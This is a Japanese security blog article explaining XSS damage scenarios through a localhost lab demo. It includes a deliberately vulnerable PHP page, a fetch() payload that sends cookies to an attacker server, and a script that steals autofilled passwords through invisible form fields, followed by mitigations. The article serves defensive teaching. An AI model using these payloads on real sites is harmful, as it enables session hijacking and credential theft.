top of page

Webアプリケーションの脆弱性から起因するセキュリティ侵害のシナリオ (XSS編)

この記事では、クロスサイトスクリプティング(XSS)によって生じ得る被害について解説します。

XSSについての詳細な解説については本サイト内のクロスサイトスクリプティング(XSS)とはの記事に譲ることとし、本稿では具体的にどのような被害が発生する可能性があるのかを仮想のシナリオを交えつつ、わかりやすく説明することを目指します。


XSSの概要

クロスサイトスクリプティング(XSS)とは、攻撃者がウェブサイトに悪意のあるスクリプトを埋め込み、閲覧した利用者のブラウザに実行させる脆弱性のことを指します。これにより、閲覧した利用者のセッション情報が盗まれたり、個人情報が漏洩したりする危険性があります。


XSSの仕組み

XSS攻撃がどのように行われるかを理解するために、簡単な検索ページを例に説明します。

このウェブサイトは検索機能を持ち、利用者が入力した検索キーワードがそのまま表示されるものとします。もし、入力内容が適切に処理されていない場合、攻撃者は悪意のあるスクリプトを入力することが可能になり、当該ページにアクセスした利用者のブラウザ上でスクリプトが実行される可能性があります。

 

まずは、ユーザーの入力した検索ワードを表示するWebページを下記の通り作成します。


PoC.php

<html>
 <body>
  Keyword is : <?php echo $_GET['text'];?>
 </body>
</html>

次に、このページをApacheでホストし、ブラウザからアクセスすると、URLに含まれる検索ワード(Hello)がページに反映されていることが確認できます。

PoC.php実行結果の画面

ここで、検索ワードを`text=<script>alert()</script>`(Javascriptでアラートをポップアップするスクリプト)と変更したURLにアクセスすると、Javascriptが実行されていることが確認できます。


脆弱性の検証結果画面

ソース表示画面

以上より、攻撃者は被害者をこのURLへ誘導することで、被害者のブラウザで任意のJavascriptを実行出来ることが確認出来ました。これがXSSの基本形となります。



それでは、XSSの動作を理解した上で実際にどのようにセキュリティ侵害が進んで行くのか確認しましょう。


XSSを介したセッションハイジャック

XSSによる攻撃手段としてまず挙げられるのが、Cookie値を盗み出すことによるセッションハイジャックです。

Cookieとは、多くのウェブサイトにおいてユーザーを識別するために用いられている機能の一つであり、攻撃者が被害者と同じCookieを使用している場合、サーバーの立場では攻撃者と被害者の識別が出来なくなるということを意味します。例えば、ウェブサイトの管理人のCookieが盗まれた場合、攻撃者はウェブサイトの管理人としてウェブサイトを操作することが可能です。

 

例として、ログインすることでブログ管理人の個人情報を閲覧できるページを考えてみましょう。


ログイン画面

ここでは、XSS脆弱性を持たせるため、管理者エリアのページに、welcomeMsgというURLクエリの値(画像では「test message」)を表示する機能を持たせています。これにより、上記で実演したものと同様の攻撃がこのページに対して可能になります。


また、認証機能を備えているため、本来は管理人以外は個人情報を閲覧できないようになっています。


 このページに対し、攻撃者の視点で攻撃を仕掛けてみましょう。

まず、攻撃者は自身の管理するサーバーにてウェブサーバーを立ち上げておきます。


次に、攻撃者はjavascriptペイロード(fetch('http://ServerAddress/?cookie='+document.cookie))を含むURLを被害者に対して送付します。このペイロードは、ブラウザの持つCookieを攻撃者のサーバーに送信します。


URL

http://localhost/sessionHijack3.php?welcomeMsg=%3Cscript%3Efetch(%27http://127.0.0.1:8000/?cookie=%27%2bdocument.cookie)%3C/script%3E

 

URLを受け取った被害者がページにアクセスすると、ブラウザは埋め込まれたjavascriptを実行します。攻撃者は、自身のサーバーのログを確認することで、Cookieの値を確認することができます。


Cookieを入手した攻撃者は、この情報を被害者のサーバーに送信することで、本来アクセスできない個人情報ページにアクセスが可能になります。


この様に、XSSを用いると、Javascriptを用いて被害者のブラウザが保持しているCookie情報を抜き取り、その情報を用いて被害者としてサーバーにアクセスすることが可能になります。

 

ここでは、被害者がクリックなどでURLに積極的にアクセスすることを想定しましたが、ブログのコメント蘭などでもXSSが可能になっている場合があります。その場合、ブログの管理者がコメント一覧を表示するだけでCookieが盗み出される場合も想定されます。

 


XSSを介したパスワードオートフィルへの攻撃

近年では、上記のCookie盗みだしへの対策として、CookieにSecure・HttpOnly属性を付与することも一般的になってきました。前者はHTTPS/WSS通信以外へのCookie付与を禁じるもの、後者はJavaScriptによるCookieの読み込みを禁じるものです。

 

しかしながら、XSSはJavaScriptを用いて多様な攻撃を可能にするため、これらの対策がとられた場合でも、依然としてユーザーに対して被害を及ぼす可能性があります。

 

一例として、ブラウザのパスワードオートフィル機能を悪用したものを考えてみましょう。

最近のブラウザでは、ログインの際に用いるユーザー名とパスワードを保管し、必要な際には勝手に入力してくれる場合が多くなっています。この機能は便利な一方で、XSSを用いた新しい攻撃手段を生み出すことにもなりました。具体的には、攻撃者はXSSを用いて目に見えないログインフォームを作成し、パスワードオートフィルが入力したパスワードを盗み取ることが加納です。

 

こちらについても、仮想シナリオを元に実際の攻撃の様子を見てみましょう。

ターゲットとなるページは、1のセッションスチールと同じものを使用し、ユーザーはブラウザにパスワードを記憶させているものと想定します。従って、ユーザーがログイン画面にアクセスすると、自動でユーザー名・パスワードが入力されます。


ここで、攻撃者は自動入力されるデータを抜き取るためのペイロードを作成します。

下記のJavascriptでは、画面上に透明なログインフォームを作成し、ブラウザの自動入力機能を利用してパスワードを取得します。さらに、入力されたユーザー名とパスワードを攻撃者のサーバーに送信しています。


JavaScript

<script>
 var userfld=document.createElement("input");
 userfld.id="username";
 userfld.name="username";
 userfld.type="text";
 userfld.style.position="fixed";
 userfld.style.opacity="0.001";
 var passfld=document.createElement("input");
 passfld.id="password";passfld.name="password";
 passfld.type="password";
 passfld.style.position="fixed";
 passfld.style.opacity="0.001";
 document.getElementsByTagName("body")[0].append(userfld);
 document.getElementsByTagName("body")[0].append(passfld);
 passfld.oninput=function(){fetch("http://127.0.0.1:8000/?  
 autofill="+userfld.value+":"+passfld.value)};
</script>

 

実際に、攻撃の様子を見てみましょう。

まず、攻撃者は1と同様にサーバーを用意します。


次に、攻撃者はJavaScriptペイロードを含むURLを被害者に対して送付します。


URL

http://localhost/passwordautofill3.php?welcomeMsg=%3Cscript%3Evar+userfld%3ddocument.createElement(%22input%22)%3buserfld.id%3d%22username%22%3buserfld.name%3d%22username%22%3buserfld.type%3d%22text%22%3buserfld.style.position%3d%22fixed%22%3buserfld.style.opacity%3d%220.001%22%3bvar+passfld%3ddocument.createElement(%22input%22)%3bpassfld.id%3d%22password%22%3bpassfld.name%3d%22password%22%3bpassfld.type%3d%22password%22%3bpassfld.style.position%3d%22fixed%22%3bpassfld.style.opacity%3d%220.001%22%3bdocument.getElementsByTagName(%22body%22)[0].append(userfld)%3bdocument.getElementsByTagName(%22body%22)[0].append(passfld)%3bpassfld.oninput%3dfunction(){fetch(%22http%3a//127.0.0.1:8000/%3fautofill%3d%22%2buserfld.value%2b%22%3a%22%2bpassfld.value)}%3b%3C/script%3E

 

URLを受け取った被害者がページにアクセスすると、ブラウザは埋め込まれたJavaScriptを実行します。ブラウザの画面上では変化はないように見えますが、開発者ツールでソースコードを確認すると、ログインフォームが不透明度(opacity)=0.001で作成されていることが分かります。


さらに、開発者ツールから入力欄の不透明度を上げると、ブラウザのパスワードオートフィル機能により、ログインフォームにユーザー名とパスワードが既に入力されていることが分かります。


ここで、攻撃者のサーバーのログを確認すると、被害者のブラウザで入力されたユーザー名とパスワードの組み合わせがサーバーに送信されていることが分かります。

 

以上の様に、XSSを用いてブラウザのパスワードオートフィルの情報を抜き出すことが出来ました。


対策

XSSに対しては、以下の2つの対策が推奨されます。

  1. ユーザーからの入力値を受信時点で可能な限り厳格に検証する必要があります。例えば、生年月日が8桁の数値のみで構成されているか、メールアドレスが定義された正規表現と一致するか、などのチェックが想定されます。さらに、可能な限り “,’,<,>,& などの特殊文字は受信段階でエスケープするかサニタイズすることが望まれます。

  2. 保険的対策として、レスポンスヘッダにX-XSS-Protectionを設定すること、CookieにHttoPnly属性付与することも有効な対策となります。

 

おわりに

当記事では、XSSによって生じる可能性のある被害を二種類、具体的なシナリオとして解説しました。この他にも、XSSでは様々なブラウザ操作が可能であり、クロスサイトクエストフォージェリー等と組み合わさることで被害がさらに拡大する場合もあります。対策が軽視されがちな領域ではありますが、適切にサニタイズ等の対策を行うこと推奨致します。

 


サービスのお問い合わせはこちら!

​関連記事

​関連記事

bottom of page